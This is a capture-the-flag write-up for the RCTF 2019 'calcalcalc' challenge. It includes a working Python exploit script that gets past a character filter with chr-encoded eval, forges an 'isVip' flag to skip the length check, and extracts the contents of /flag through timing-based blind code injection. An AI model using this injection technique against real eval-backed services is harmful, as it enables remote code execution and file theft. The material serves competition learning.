(source given)

This website provides a calculator service with one frontend and three
backends (php, python, node). We submit an expression to frontend, and get the
result if answers given by `eval` from all backends are the same.

There are some restriction on the expression.

```typescript  
validate(value: any, args: ValidationArguments) {  
const str = value ? value.toString() : '';  
if (str.length === 0) {  
return false;  
}  
if (!(args.object as CalculateModel).isVip) {  
if (str.length >= args.constraints[0]) {  
return false;  
}  
}  
if (!/^[0-9a-z\\[\\]\\(\\)\\+\\-\\*\/ \t]+$/i.test(str)) {  
return false;  
}  
return true;  
}  
```

We can use `eval` and `chr` in python to pass the re check.

We also need to add `"isVIP": True` in the post json to avoid the length
check.

After all, it becomes a timing blind search, and the basic payload is
`__import__('time').sleep(5) if {boolean_exp} else 1`

final script:

```python  
import requests  
from time import time

url = 'https://calcalcalc.2019.rctf.rois.io/calculate'

def encode(payload):  
return 'eval(%s)' % ('+'.join('chr(%d)' % ord(c) for c in payload))

def query(bool_expr):  
payload = "__import__('time').sleep(5) if %s else 1" % bool_expr  
t = time()  
r = requests.post(url, json={'isVip': True, 'expression': encode(payload)})  
# print(r.text)  
delta = time() - t  
print(payload, delta)  
return delta > 5

def binary_search(geq_expression, l, r):  
eq_expression = geq_expression.replace('>=', '==')  
while True:  
if (r - l) < 4:  
for mid in range(l, r + 1):  
if query(eq_expression.format(num=mid)):  
return mid  
else:  
print('NOT FOUND')  
return  
mid = (l + r) // 2  
if query(geq_expression.format(num=mid)):  
l = mid  
else:  
r = mid

# flag_len = binary_search("len(open('/flag').read())>={num}", 0, 100)  
flag_len = 36  
print('flag length: %d' % flag_len)

flag = ''  
while len(flag) < flag_len:  
c = binary_search("ord(open('/flag').read()[%d])>={num}" % len(flag), 0, 128)  
if c: # the bs may fail due to network issues  
flag += chr(c)  
print(flag)

```